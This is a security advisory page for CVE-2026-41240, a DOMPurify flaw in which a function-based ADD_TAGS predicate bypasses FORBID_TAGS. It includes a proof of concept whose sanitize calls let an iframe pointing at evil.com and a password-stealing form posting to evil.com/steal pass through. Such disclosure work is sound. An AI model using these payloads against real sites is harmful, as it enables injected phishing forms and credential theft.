CVE-2026-41240: DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)

Published Apr 22, 2026
·
Updated

DOMPurify is a DOM-only cross-site scripting sanitizer for HTML, MathML, and SVG. Versions prior to 3.4.0 have an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used. Commit c361baa added an early exit for FORBIDATTR at line 1214. The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely. This allows forbidden elements to survive sanitization with their attributes intact. Version 3.4.0 patches the issue.

Other sources

There is an inconsistency between FORBIDTAGS and FORBIDATTR handling when function-based ADDTAGS is used.

Commit c361baa added an early exit for FORBIDATTR at line 1214:

/ FORBIDATTR must always win, even if ADDATTR predicate would allow it / if (FORBIDATTR[lcName]) { return false; }

The same fix was not applied to FORBIDTAGS. At line 1118-1123, when EXTRAELEMENTHANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBIDTAGS check entirely:

if ( !( EXTRAELEMENTHANDLING.tagCheck instanceof Function && EXTRAELEMENTHANDLING.tagCheck(tagName) // true -> short-circuits ) && (!ALLOWEDTAGS[tagName] || FORBIDTAGS[tagName]) // never evaluated ) {

This allows forbidden elements to survive sanitization with their attributes intact.

PoC (tested against current HEAD in Node.js + jsdom):

const DOMPurify = createDOMPurify(window);

DOMPurify.sanitize( '<iframe src="https://evil.com"></iframe>', { ADDTAGS: function(tag) { return true; }, FORBIDTAGS: ['iframe'] } ); // Returns: '<iframe src="https://evil.com"></iframe>' // Expected: '' (iframe forbidden)

DOMPurify.sanitize( '<form action="https://evil.com/steal"><input name=password></form>', { ADDTAGS: function(tag) { return true; }, FORBIDTAGS: ['form'] } ); // Returns: '<form action="https://evil.com/steal"><input name="password"></form>' // Expected: '<input name="password">' (form forbidden)

Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.

Compare with FORBIDATTR which correctly wins:

DOMPurify.sanitize( '<p onclick="alert(1)">hello</p>', { ADDATTR: function(attr) { return true; }, FORBIDATTR: ['onclick'] } ); // Returns: '<p>hello</p>' (onclick correctly removed)

Suggested fix: add FORBIDTAGS early exit before the tagCheck evaluation, mirroring line 1214:

/ FORBIDTAGS must always win, even if ADDTAGS predicate would allow it / if (FORBIDTAGS[tagName]) { // proceed to removal logic }

This requires function-based ADDTAGS in the config, which is uncommon. But the asymmetry with the FORBIDATTR fix is clear, and the impact includes iframe and form injection with external URLs.

Reporter: Koda Reef

GitHub

Affected Software

4 affected componentsFixes available
npm/dompurify<3.4.0
3.4.0
Cure53 DOMPurify<3.4.0
IBM Db2 Genius Hub<=1.1, 1.1.1, 1.1.2
IBM Agentics<=1.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/dompurify to a version that resolves this vulnerability.

    Fixed in 3.4.0
  2. Upgrade

    Upgrade DOMPurify to a version that resolves this vulnerability.

    Fixed in 3.4.0

Event History

Apr 22, 2026
Advisory Published
via GitHub·05:34 PM
Data Sourced
via GitHub·05:34 PM
DescriptionWeaknessAffected Software
Apr 23, 2026
CVE Published
via MITRE·02:54 PM
Data Sourced
via MITRE·02:54 PM
DescriptionWeakness
Data Sourced
via Red Hat·04:05 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·04:16 PM
RemedyDescriptionSeverityWeaknessAffected Software
Jul 13, 2026
Data Sourced
via IBM·12:00 AM
DescriptionAffected Software

Parent advisories

This vulnerability appears in the following advisories.

Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-41240?

CVE-2026-41240 is classified as a medium severity vulnerability.

2

How do I fix CVE-2026-41240?

To mitigate CVE-2026-41240, upgrade DOMPurify to version 3.4.0 or later.

3

What does the CVE-2026-41240 vulnerability affect?

CVE-2026-41240 affects the handling of FORBID_TAGS and is related to a bypass vulnerability in DOMPurify.

4

Which versions of DOMPurify are affected by CVE-2026-41240?

Versions of DOMPurify prior to 3.4.0 are affected by CVE-2026-41240.

5

What is the nature of the issue described in CVE-2026-41240?

CVE-2026-41240 describes an inconsistency in the handling of the FORBID_TAGS and FORBID_ATTR predicates.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203